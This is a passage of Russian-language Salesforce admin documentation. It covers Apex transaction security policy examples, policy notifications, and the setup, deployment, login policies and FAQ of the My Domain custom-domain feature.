AuthSession eObj = [SELECT SourceIp FROM AuthSession WHERE Id = :e.entityId];
if(eObj.SourceIp == '1.1.1.1' ){
return true;

}
return false;

}
}

Данная политика DataExport реализует политику, инициируемую при экспорте данных посредством приложения Data
Loader.

Пример:

global class DataExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
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if(e.data.get('SourceIp') == '1.1.1.1' ){
return true;

}
return false;

}
}

Данная политика Apex инициируется при получении доступа к отчетам.

Пример:

global class ReportsPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SessionLevel') == 'STANDARD' ){
return true;

}
return false;

}
}

Данная политика Apex инициируется при получении доступа к связанному приложению.

Пример:

global class ConnectedAppsPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if(e.data.get('SessionLevel') == 'STANDARD' && (e.entityId == '0CiD00000004Cce')){

return true;
}
return false;

}
}
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Управление политиками безопасности транзакций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Requires purchasing
Salesforce Shield or
Salesforce Shield Event
Monitoring add-on
subscriptions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления политиками
безопасности транзакций:
• «Автор Apex»

И

«Настройка
приложения»

Спомощьюполитикбезопасноститранзакцийможноопределять, включатьисоздавать
код Apex для реализации ваших политик. Выберите способ отправки уведомления при
инициировании политики, затем нужные политики. Данная функция доступна только
активному пользователю с профилем «Системный администратор».

1. Введите строку «Безопасность транзакций» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Безопасность транзакций».

2. На странице политик безопасности транзакций можно:

• изменить представление;

• создать представление;

• изменить политику;

• создать политику;

• изменить класс TxnSecurity.PolicyCondition Apex для политики;

• удалить политику;

• задать параметры по умолчанию для безопасности транзакций.

Изменитьпараметрыпоумолчаниюдлябезопасноститранзакцийможновлюбоевремя.
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Получение уведомлений политики безопасности транзакций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Requires purchasing
Salesforce Shield or
Salesforce Shield Event
Monitoring add-on
subscriptions.

Выбранныеуведомленияотправляютсяпользователямприинициированиивключенной
политики. Данные уведомления отличаются особымформатированием.

Электронные уведомления
Электронные уведомления, отправляемые из раздела «Политика безопасности
транзакций», содержат тему «Предупреждение о безопасности транзакций!». Текст
сообщения содержит активированную политику и события, которые привели к ее
включению. Дляотображениявременииспользуетсярегионичасовойпояс включения
политики получателя. Например, политика включена в 18:46 (восточное стандартное
время). Администратор, получающий уведомления, находится в часовом поясе
«Тихоокеанское стандартное время», поэтому время указывается в соответствующем
формате (PST). См. пример ниже.

Пример:

From: Transaction Security <noreply@salesforce.com>
To: Admin@company.com
Sent: Friday, November 12, 2014, 5:35 PM
Subject: Transaction Security Alert!

This is a transaction security policy alert.

Policy: An administrator created a new user.

Event(s) responsible for triggering this policy:
1. Created new user Lisa Johnson at 11/12/2014 5:35:09 PM PST

Внутрипрограммные уведомления
ВнутрипрограммныеуведомлениядоступнытолькопользователямприложенияSalesforce1. Текст уведомлениясодержит
только инициированную политику. См. пример ниже.

Пример:

Transaction Security Alert:
Policy New Encrypted Custom Field was triggered.
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Мой домен

Мой домен

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

Включение настраиваемого домена инициирует повышение уровня безопасности
доступа и оформление страниц организации в фирменном стиле.

Функция «Мойдомен» позволяетопределятьнастраиваемоеимядомена Salesforce. Ниже
перечислены основные инструменты, позволяющие настраиваемому имени домена
совершенствовать процессы входа и проверки подлинности для организации.

• Подтверждение подлинности организации посредством уникального URL-адреса
домена.

• Оформлениестраницывхода вфирменномстилеинастройка содержимогоправой
рамки.

• Блокировка или переадресация запросов страниц, которые не используют нового
имени домена.

• Расширенная поддержка доступа для функции единой регистрации. Некоторые
функции подлинности Salesforce (например, поставщики проверки подлинности и
поставщики удостоверений) могут использоваться только при наличиифункции «Мой домен».

• Выбор настраиваемой политики входа и определение способа проверки подлинности пользователей.

• Предоставлениепользователямвозможностивыбора альтернативногопоставщикаудостоверенийна страницевхода.

Настраиваемоеимядоменаможетбытьопределенотолькоодинраз. Функция «Мойдомен» такжедоступнадлябезопасных
сред.

Прим.: Функция «Мой домен» регулируется дополнительными Условиями использования.

Имя домена использует стандартныйформат URL-адреса, который подразумевает наличие указанных ниже элементов.

• Протокол: https://

• Префикс субдомена: товарный знак или отличительная черта

• Домен: my.salesforce.com

Например, компания Universal Containers может использовать субдомен universalcontainers. Соответственно,
URL-адрес входа для данной компании будет выглядеть следующим образом:
https://universalcontainers.my.salesforce.com/. Разрешается использовать не более 40 символов.

Система Salesforce включается в качестве поставщика удостоверений автоматически при создании домена. После
развертывания домена пользователи могут добавлять или изменять поставщиков удостоверений и повышать уровень
безопасности организации путем настройки политики входа домена.

Чтобы использовать компоненты Lightning на вкладке компонентов Lightning, страницах Lightning, в конструкторе
приложений Lightning и в отдельных приложениях, необходимо включить функцию «Мой домен».
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Важное замечание: Развертывание нового имени домена является необратимым.

СМ. ТАКЖЕ:

Настройка имени домена

Изменения URL-адресов функции «Мой домен»

Тестирование и развертывание нового имени домена

Рекомендации по внедрениюфункции «Мой домен»

Просмотр сведений о производительности и обслуживании системы посредством функции «Мой домен»

Настройка имени домена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки имени
домена:
• «Настройка

приложения»

Система поддерживает быстрое и удобное внедрение настраиваемого имени домена.

1. Найдите и зарегистрируйте доступное имя домена.

2. Настройте логотип, цвет фона и содержимое правой рамки на странице входа.

3. Добавьте или измените поставщиков удостоверений, доступных на странице входа.

4. Протестируйте и разверните имя домена во всей организации.

5. Настройте политику входа для нужных пользователей.

СМ. ТАКЖЕ:

Мой домен

Определение имени домена

Тестирование и развертывание нового имени домена

Настройка политики входа для функции «Мой домен»

Настройка фирменного стиля страницы входа

Добавление поставщиков удостоверений на страницу входа
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Определение имени домена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения имени
домена:
• «Настройка

приложения»

Система позволяет регистрировать настраиваемое имя домена организации.

Чтобы начать определение настраиваемого имени домена, найдите и зарегистрируйте
имя домена, уникальное для организации.

1. Введите строку «Мой домен» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мой домен».

2. Введите нужное имя субдомена. Например, компания Universal Containers может
использовать субдомен universalecontainers. Соответственно, URL-адрес
входа для данной компании будет выглядеть следующим образом:
https://universalcontainers.my.salesforce.com/. Разрешается
использовать не более 40 символов.

Следующие зарезервированные слова невозможно использовать в качестве
субдоменов:

• www

• salesforce

• heroku

Кроме того, домен не должен начинаться со следующих слов:

• root

• status

3. Нажмите кнопку «Проверить доступность». Если данное имя уже используется,
введите другое имя.

4. Чтобы просмотреть соглашение, щелкните «Условия». Чтобы подтвердить свое согласие, установите флажок.

5. Нажмите кнопку «Зарегистрировать домен».

6. Сообщение эл. почты отправляется пользователю как только имя домена готово для тестирования. (Регистрация
может занять от 30 секунд до 24 часов.)

Внедрение домена выполняется только после его тестирования и развертывания.

СМ. ТАКЖЕ:

Настройка имени домена

Рекомендации по внедрениюфункции «Мой домен»

Изменения URL-адресов функции «Мой домен»

Тестирование и развертывание нового имени домена
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Рекомендации по внедрению функции «Мой домен»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

Данные советы позволяют выполнить беспрепятственный переход к новому имени
домена.

• Рекомендуем протестировать даннуюфункцию в безопасной среде, так как система
позволяет задавать политики входа только после развертывания домена. Чтобы
протестировать данные настройки, настраиваемые функции пользовательского
интерфейса, страницыVisualforceиизменения URL-адресаприложения, рекомендуем
определить и развернуть имя домена в безопасной среде.

• Чтобы развернуть новый домен, рекомендуем выбрать непиковые часы работы
организации (например, выходные), позволяющие беспрепятственно устранять
любые возникшие неполадки.

• Прежде чем развернуть имя домена, рекомендуем протестировать настраиваемые
элементы пользовательского интерфейса Salesforce, подверженные изменениям
(например, настраиваемые кнопки или страницы Visualforce). Настройки не должны
использовать URL-адреса экземпляров.

• Убедитесь, что URL-адреса приложения, созданные до включения имени домена, обновлены. Например, поле Chatter
Answers «URL-адрес электронного уведомления» продолжает отправлять уведомления внутренним пользователям
на устаревшие URL-адреса, поэтому должно быть обновлено вручную.

• Если домен пользователя зарегистрирован, но еще не развернут, то при входе посредством страницы входа «Мой
домен» отображаются URL-адреса функции «Мой домен». Тем не менее, ссылки, инициированные полями слияния,
которые добавлены в сообщения эл. почты, отправляемые асинхронно (например, сообщения эл. почты, связанные
с бизнес-правилами), будут содержать устаревшие URL-адреса. Новые URL-адреса функции «Мой домен» будут
отображаться в этих ссылках после развертывания домена.

• Чтобы упростить процесс перехода пользователей к новому имени домена, добавьте ссылки на часто используемые
страницы (например, страницу входа). Сообщите пользователям об изменении политики входа и необходимости
обновления закладок при первом входе после переадресации.

• Чтобы запретить доступ пользователям, которые не знают о наличии настраиваемого домена, выберите параметр
«Запретить вход посредством https://login.salesforce.com». При наличии доступа пользователи могут
быстрее привыкнуть к новому имени домена.

• Чтобы предоставить пользователям время на обновление закладок посредством нового имени домена, задайте
параметру «Политика переадресации» значение «Перенаправлено с предупреждением на эту же страницу
домена».

Параметры политики входа домена могут использоваться для поэтапного внедрения имени домена в организации.
Чтобы предоставить пользователям время на обновление закладок, рекомендуем требовать использования нового
именидомена для доступа к страницам толькопослепереадресациипользователей спредупреждением, включенной
на несколько дней или недель.

• Bookmarks do not work when the Redirect to the same page within the domain  option is selected for partner
portals. Manually change the existing bookmarks to point to the new domain URL by replacing the Salesforce instance name with
your custom domain name. For example, replace na1.salesforce.com  with <mydomain>.my.salesforce.com
in the bookmark’s URL.

• Если запросы на открытие страниц приложения, использующие устаревшие URL-адреса имени домена Salesforce,
блокируются, сообщите пользователям о необходимости обновления устаревших закладок или создания новых
закладок на страницу входа и любые вкладки или ссылки внутри приложения. Использование новых URL-адресов
требуется незамедлительно при присвоении политике переадресации значения «Не перенаправлено».
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• При использованиифункции «Мой домен» система позволяет определять пользователей, выполняющих вход
посредством нового URL-адреса, и время входа. Введите строку «Журнал входов» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Журнал входов» и просмотрите столбцы «Пользователь» и «URL-адрес входа».

• Прежде чем развернуть новый домен, сообщите пользователям о предстоящем изменении.

• Страница login.salesforce.com содержитссылку«Выполнитевходвнастраиваемыйдомен», позволяющую
пользователямуказыватьимянастраиваемогодоменаи выполнять вход. Вданномслучаепользователямдолжнобыть
известно имя домена. Рекомендуем предоставить пользователям прямую ссылку на страницу входа настраиваемого
домена.

Рекомендуемые действияИспользуемый компонент

Убедитесь, что API-клиент ссылается на конечную точку
сервера напрямую. API-клиент должен использовать

Интеграции API в организации

значение LoginResult.serverURL, возвращенное запросом на
вход, взамениспользованияжесткозапрограммированного
URL-адреса сервера.

После развертывания настраиваемого домена система
Salesforceвозвращает URL-адрессервера, содержащийдомен.
Несмотря на то, что параметры политики переадресации
не влияют на вызовы API, рекомендуем использовать
значение, возвращенное системой Salesforce.

Замените ссылки на URL-адрес экземпляра организации
настраиваемым доменом.

Шаблоны эл. почты

Замените ссылки на URL-адрес экземпляра организации
настраиваемым доменом. См. документ «Как искать жестко

Настраиваемые страницы Visualforce или настраиваемые
приложения Force.com

запрограммированные ссылки посредством инструмента
Force.com IDE?».

Уведомите пользователей о необходимости обновления
всех закладок на левой боковой панели групп Chatter.

Chatter

Обновите поле «URL-адрес электронного уведомления»
вручную.

Зоны для сообществ (Идеи/Ответы/Chatter Answers)

Чтобы обновить URL-адрес, удалите текущий URL-адрес из
поля. При сохранении страницы система заполняет поле
новым URL-адресом функции «Мой домен».

СМ. ТАКЖЕ:

Изменения URL-адресов функции «Мой домен»

Тестирование и развертывание нового имени домена

Мой домен
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Тестирование и развертывание нового имени домена

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки имени
домена:
• «Настройка

приложения»

Тестированиеивнедрениеименидоменадолжныбытьвыполненыпосле егонастройки.

Прежде чем развернуть домен для пользователей, рекомендуем выполнить вход для его
тестирования. Тестирование позволяет просматривать имя домена и проверять адреса
важных страниц, необходимых для работы пользователей после внедрения домена.

Важное замечание: Развертывание нового имени домена является необратимым.

1. Протестируйтестраницувходадомена. Введитестроку «Мой домен» вполе «Быстрый
поиск» вменю «Настройка», затемвыберитепункт «Мойдомен»ищелкните ссылку
Щелкнитездесь, чтобывыполнитьвход. ЧтобывыполнитьвходвсистемуSalesforce
с использованием нового имени домена, щелкните URL-адрес, добавленный в
сообщение эл. почты.

Прежде чем развернуть домен для пользователей, рекомендуем настроить страницу
входа домена и добавить службы проверки подлинности. При необходимости
протестируйтедоменывбезопасныхсредах. Темнеменее, системапозволяет задавать
политики входа (например, предотвращение входа пользователей на веб-странице
login.salesforce.com) только после развертывания домена.

2. Чтобы протестировать новое имя домена, щелкните вкладки и ссылки. Новое имя
домена должно отображаться на всех страницах.

Прежде чем развернуть имя домена, рекомендуем протестировать настраиваемые
элементы пользовательского интерфейса Salesforce, подверженные изменениям
(например, настраиваемые кнопки или страницы Visualforce). Настройки не должны
использовать URL-адреса экземпляров.

3. Чтобы развернуть новое имя домена в организации, введите строку «Мой домен» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Мой домен» ищелкните «Развернуть для пользователей».

Развертывание домена инициирует его немедленную активацию и перенаправление всех пользователей на страницы
посредствомновыхадресовдомена. Чтобызадатьполитикивхода, воспользуйтесьразделом «Параметрыдомена», который
отображается после развертывания домена.

СМ. ТАКЖЕ:

Настройка имени домена

Рекомендации по внедрениюфункции «Мой домен»

Настройка фирменного стиля страницы входа

Добавление поставщиков удостоверений на страницу входа

Настройка политики входа для функции «Мой домен»
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Изменения URL-адресов функции «Мой домен»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

Настройка имени домена организации инициирует изменение всех URL-адресов
приложения, включая адреса страницVisualforce. Убедитесь, что URL-адресаприложения,
созданные до включения имени домена, обновлены. Например, поле Chatter Answers
«URL-адрес электронного уведомления» продолжает отправлять уведомления
внутреннимпользователямна устаревшие URL-адреса, поэтомудолжнобытьобновлено
вручную. См. различия в таблице ниже.

Новый URL-адресУстаревший URL-адресТип
URL-адреса

https://<субдомен>.my.
salesforce.com

https://login.salesforce.comВход

https://<субдомен>.my.
salesforce.com
/<код_страницы>

https://na1.salesforce.com
/<код_страницы>

Страница
или вкладка
приложения

https://<субдомен>--c.na1.
visual.force.com/apex
/<имя_страницы>

https://c.na1.visual.force.com/apex/<имя_страницы>Страница
Visualforce
без
пространства
имен

https://<субдомен>--
<пространство_имен>.na1.

https://<пространство_имен101>.
na1.visual.force.com
/apex/<имя_страницы>

Страница
Visualforce с
пространством
имен

visual.force.com/apex/
<имя_страницы>

Прим.: При внедрениифункции «Мой домен» в безопасной среде используется следующийформат URL-адреса:
https://<субдомен>--<имя_безопасной_среды>.<экземпляр>.my.salesforce.com. Безопасные среды не
поддерживают использование пространств имен, поэтому все URL-адреса страниц Visualforce в безопасной среде
используют следующийформат:
https://<субдомен>--<имя_безопасной_среды>.<экземпляр>.my.salesforce.com/apex/<имя_страницы>.

СМ. ТАКЖЕ:

Мой домен

Рекомендации по внедрениюфункции «Мой домен»
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Настройка политики входа для функции «Мой домен»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки политики
входа для домена:
• «Настройка

приложения»

Рекомендуемповыситьбезопасностьвходапутемнастройкиполитикивходадлядомена.

Чтобыповыситьбезопасностьорганизации, настройтеполитику входа. Поумолчанию
пользователимогут выполнятьвходпосредствомобщейстраницывхода Salesforce, минуя
специальнуюстраницувходадомена. Крометого, пользователимогутотправлятьзапросы
страниц без имени домена (например, при использовании устаревших закладок).

1. Введите строку «Мой домен» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мой домен».

2. Нажмите кнопку «Правка» в разделе «Параметры моего домена».

3. Чтобыотключитьпроверкуподлинностидляпользователей, которыенеиспользуют
специальнуюстраницу входа домена, выберитенужнуюполитику входа. Например,
политика входа препятствует входу пользователей посредством общей страницы
входа https://<экземпляр>.salesforce.com/ иихпереадресациинастраницы
организации после входа. Таким образом, вход может быть выполнен только теми
пользователями, которым известно имя домена.

4. Выберите нужную политику переадресации.

a. Чтобыразрешитьпользователямдальнейшееиспользование URL-адресов, которые
не содержат имени домена, выберите параметр «Перенаправлено на эту же
страницу домена». Выбор данного параметра не инициирует повышение
безопасности организации.

Прим.: Закладки не работают, если для партнерских порталов выбран
параметр «Перенаправление на эту же страницу домена». Вручную
измените существующиезакладки, заменивимя экземпляра Salesforceнаимя
своего домена, чтобы ссылки имели URL-адреса нового домена. Например
в URL-адресе закладки следует заменить na1.salesforce.com на
<мой_домен>.my.salesforce.com.

b. Чтобы предупреждать пользователей о необходимости использования имени домена, выберите параметр
«Перенаправлено с предупреждением на эту же страницу домена». Просмотр страницы разрешается
пользователямтолькопослепрочтениясоответствующегопредупреждения. Выборданногопараметрананесколько
днейилинедельпозволяет упроститьпереходпользователейнановоеимядомена, нонеинициируетповышение
безопасности организации.

c. Чтобытребоватьиспользованияименидоменаприпросмотрестраниц, выберитепараметр «Не перенаправлено».
Данный параметр обеспечивает наивысший уровень безопасности.

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка имени домена

Рекомендации по внедрениюфункции «Мой домен»
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Настройка фирменного стиля страницы входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки страницы
входа:
• «Настройка

приложения»

Чтобы настроить внешний вид страницы входа, добавьте цвет фона, логотип и
содержимое правостороннего элемента iFrame. Благодаря настройке страницы входа,
пользователи могут легко опознавать страницу путем ее привязывания к фирменному
стилю компании.

1. Введите строку «Мой домен» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мой домен».

2. Нажмите кнопку «Правка» в разделе «Конфигурация проверки подлинности».

3. Чтобы изменить логотип, загрузите изображение.

Допустимые форматы изображения: .jpg, .gif и .png. Размер файла не должен
превышать 100 Кб. Максимальныйразмеризображениясоставляет 250 х 125 пикселов.

4. Чтобынастроитьфонстраницывхода, щелкнитезначок иливведитедопустимый
шестнадцатеричный код цвета.

5. Введите URL-адресфайла, которыйдолженбытьдобавленвправостороннийэлемент
iFrame на странице входа.

Содержимоеправогоэлемента iFrame масштабируетсятакимобразом, чтобызанимать
около 50% страницы. Содержимоедолжнонаходитьсяпо URL-адресу, использующему
шифрование SSL и префикс https://. Для создания собственной страницы,
отображаемой в правом элементе iFrame и использующей адаптивный веб-дизайн,
можно использовать шаблон «My Domain Sample».

Пример. https://c.salesforce.com/login-messages/promos.html

6. При необходимости выберите службы проверки подлинности в качестве поставщиков удостоверений на странице
входа (например, Google и Facebook). Пользователи смогут выполнять вход посредством учетных записей из данных
служб. Чтобы настроить службы проверки подлинности, воспользуйтесь разделом «Поставщики проверки
подлинности» меню «Настройка».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка имени домена

Добавление поставщиков удостоверений на страницу входа

Настройка политики входа для функции «Мой домен»

Общие сведения о внешних поставщиках проверки подлинности
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Добавление поставщиков удостоверений на страницу входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления
поставщиков удостоверений
на страницу входа:
• «Настройка

приложения»

Подлинность пользователей может проверяться посредством альтернативных
поставщиков удостоверений прямо на странице входа.

Если организация использует единую регистрацию и SAML или настраивает внешние
поставщики проверки подлинности в разделе «Поставщики проверки подлинности»
меню «Настройка», то ссылки на данные альтернативные поставщики удостоверений
могут быть добавлены на страницу входа домена. Проверка подлинности выполняется
посредством страницы входа альтернативного поставщика удостоверений, после чего
пользователи перенаправляются в систему Salesforce.

Прим.: Доступными службамипроверки подлинности являются все поставщики,
поддерживающие единую регистрацию SAML для поставщиков удостоверений
или внешних поставщиков проверки подлинности, кроме Janrain. Janrain не может
использоваться для проверки подлинности на странице входа.

1. Введите строку «Мой домен» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мой домен».

2. Нажмите кнопку «Правка» в разделе «Конфигурация проверки подлинности».

3. Выберитекакминимумоднунастроеннуюслужбупроверкиподлинностивкачестве
поставщика удостоверений.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка имени домена

Настройка фирменного стиля страницы входа

Настройка политики входа для функции «Мой домен»

Общие сведения о внешних поставщиках проверки подлинности
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Просмотр сведений о производительности и обслуживании системы посредством
функции «Мой домен»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition,
Professional Edition и
Group Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки имени
домена:
• «Настройка

приложения»

Чтобыпросмотреть сведенияопроизводительностииобслуживаниисистемы, клиенты
Salesforce могут воспользоваться веб-сайтом trust.salesforce.com.

Ниже перечислены действия, которые должны быть выполнены при использовании
нового имени домена.

1. Чтобы проверить статус системы, откройте страницу trust.salesforce.com.

2. Чтобы определить экземпляр для используемого домена, щелкните ссылку «Какой
экземпляр я использую?».

3. Найдите соответствующую запись в таблице «Статус системы».

СМ. ТАКЖЕ:

Мой домен

Мой домен. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition,
Developer Edition и
Database.com Edition.
Некоторые разделы не
относятся к версии
Database.com Edition.

Что такое функция «Мой домен»?

Какие версии Salesforce поддерживают функцию «Мой домен»?

Каковы преимущества функции «Мой домен»?

Одинаково ли работает функция «Мой домен» во всех версиях Salesforce?

Работает ли функция «Мой домен» в безопасных средах?

Чем отличаются параметры политики переадресации?

Как работает функция «Мой домен» при использовании единой регистрации?

Доступна ли функция «Мой домен» для интерфейса API?

Связанли субдомендляфункции «Мойдомен» с субдоменомдляфункции «Сайты»?

Ограничивается ли длина субдомена?

Можно ли выполнять вход посредством страницы https://login.salesforce.com после
настройки функции «Мой домен»?

Можно ли выполнять вход посредством URL-адреса, содержащего экземпляр Salesforce (например,
https://na1.salesforce.com)?

Можно ли использовать устаревшие закладки Salesforce?

Изменятся ли URL-адреса страниц Visualforce и содержимого (файлов)?
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Можно ли переименовать или удалить имя настраиваемого домена?

Что такое функция «Мой домен»?

Функция «Мой домен» позволяет администраторам определять настраиваемое имя домена Salesforce для организации.
Настраиваемое имя домена отображается во всех URL-адресах организации и заменяет имя экземпляра (например, na1).
URL-адреса организаций, использующихфункцию «Мой домен», должны иметь следующийформат:
https://<мойДомен>.my.salesforce.com  (например, https://мойДомен.my.salesforce.com).

Сайты, сообщества и порталы не используют функцию «Мой домен» в качестве настраиваемого домена. Домены
определяются по отдельности.

Какие версии Salesforce поддерживают функцию «Мой домен»?

Версии Performance Edition, Unlimited Edition, Enterprise Edition, Developer Edition, Professional Edition и Group Edition.

Каковы преимущества функции «Мой домен»?

Ниже перечислены действия, доступные пользователям функции «Мой домен».

• Настройка страницы входа посредством собственного фирменного стиля.

• Использованиефункцийподлинностидляединойрегистрации. Нижеперечисленыдействия, доступныетолькопри
наличиифункции «Мой домен».

– Единая регистрация в организации Salesforce.

– Использованиеорганизации Salesforce в качествепоставщика удостоверенийдля единойрегистрациив сторонних
приложениях или других организациях Salesforce.

• Сохранениеглубинныхссылок (например, https://<мойДомен>.my.salesforce.com/001/o) припоследующих
разделениях и миграциях организации.

Одинаково ли работает функция «Мой домен» во всех версиях Salesforce?

Единственным различием являются URL-адреса версии Developer Edition, дополняемые окончанием «-developer-edition».

Работает ли функция «Мой домен» в безопасных средах?
Безопасные среды отличаются от производственных организаций, поэтому используют отдельные реестры доменных
имен. Другимисловами, безопаснаясредаможетиспользоватьтакоежеимяфункции «Мойдомен». Фактическиобновление
безопаснойсредыинициируеткопированиеименифункции «Мойдомен», используемогопроизводственнойорганизацией,
в безопасную среду.

Например, при использовании имени производственной организации acme.my.saleforce.com имя безопасной
среды выглядит следующим образом: acme--<имяБезопаснойСреды>.csN.my.salesforce.com.

Рекомендуем развертывать настраиваемый домен только после его тестирования в безопасной среде. Данный алгоритм
позволяет находить жестко запрограммированные ссылки на URL-адреса на страницах Visualforce, в шаблонах эл. почты
или другом содержимом.
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Чем отличаются параметры политики переадресации?

После развертывания домена система позволяет выбрать способ переадресации пользователей, которые пытаются
открыть страницу организации без использования имени настраиваемого домена.

Чтобы просмотреть назначенную политику, в меню «Настройка» введите «Мой домен» в поле «Быстрый поиск» и
выберите «Мой домен».

Чтобы перенаправлять пользователей на новый URL-адрес без отображения предупреждений, выберите параметр
«Перенаправлено на эту же страницу домена».

Чтобы перенаправлять пользователей на новый URL-адрес после отображения стандартного предупреждения, выберите
параметр «Перенаправлено с предупреждением на эту же страницу домена». Подобное предупреждение дает
пользователямвремянаизменение закладокипривыканиекиспользованиюновогоименидомена. Сообщениенеможет
быть настроено.

Чтобыотменитьперенаправлениепользователей, выберитепараметр «Не перенаправлено». Данныйпараметрсчитается
наиболеебезопасным. Темнеменее, благодарякратковременномувыборупараметра «Перенаправлено с предупреждением
на эту же страницу домена» сразупослеразвертываниянастраиваемогодомена, пользователимогутбыстреепривыкнуть
к новым URL-адресам.

Как работает функция «Мой домен» при использовании единой регистрации?

Внедрение единойрегистрациидоступно толькоприналичиифункции «Мойдомен». Приналичиивходящих запросов
на единую регистрацию настраиваемый домен включает глубинное связывание прямо со страницами организации.
Изменение поставщика удостоверений не требуется. Конечная точка SAML, используемая системой Salesforce
(login.salesforce.com), продолжает действовать для запросов SAML и OAuth, даже в том случае, если организация
развертывает функцию «Мой домен» и устанавливает флажок «Запретить вход посредством
https://login.salesforce.com» на странице «Параметры моего домена».

Прим.: Прииспользовании внешних групп Chatterи единой регистрации для сотрудников внешние пользователи
перенаправляютсянанедоступногопоставщика удостоверений SAML. Чтобыгарантироватьбесперебойнуюработу
внедрения, перенесите внешние группы Chatter в сообщества или снимитефлажок «Запретить вход посредством
https://login.salesforce.com» на странице «Параметры моего домена». Таким образом, пользователи
смогут дальше выполнять вход посредством страницы login.salesforce.com.

Доступна ли функция «Мой домен» для интерфейса API?

Да. Функция «Мой домен» поддерживает интерфейсы Salesforce API.

Связан ли субдомен для функции «Мой домен» с субдоменом для функции «Сайты»?

Нет. Функции «Сайты» и «Мой домен» могут использовать одинаковые или разные субдомены.

Ограничивается ли длина субдомена?
Да. Разрешаетсяиспользоватьне более 40 символов. Данноеограничениене распространяетсяна протокол (https://)
и домен (my.salesforce.com).
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Можно ли выполнять вход посредством страницы https://login.salesforce.com после
настройки функции «Мой домен»?

Да, если вход не блокируется системным администратором. Пользователь может выполнить вход посредством нового
URL-адреса функции «Мой домен».

Можно ли выполнять вход посредством URL-адреса, содержащего экземпляр Salesforce (например,
https://na1.salesforce.com)?

Да, если вход не блокируется системным администратором. Пользователь может выполнить вход посредством нового
URL-адреса функции «Мой домен».

Можно ли использовать устаревшие закладки Salesforce?

Да, если использование разрешено системным администратором. Пользователь будет перенаправлен на страницу
Salesforceпосредствомнового URL-адресафункции «Мойдомен». Еслисистемныйадминистраторблокируетиспользование
устаревших закладок или система отображает предупреждение, рекомендуем обновить закладки посредством нового
имени домена.

Изменятся ли URL-адреса страниц Visualforce и содержимого (файлов)?
URL-адреса страниц Visualforce содержат новое имя домена (например,
https://<мойДомен>--c.<экземпляр>.visual.force.com).

URL-адреса содержимого (файлов) также содержат новое имя домена (например,
https://<мойДомен>--c.<экземпляр>.content.force.com).

Можно ли переименовать или удалить имя настраиваемого домена?
Пользователи не могут изменять или отменять развертывание имени настраиваемого домена. При необходимости
обратитесь в службу поддержки Salesforce.

Средство запуска приложений

Средство запуска приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

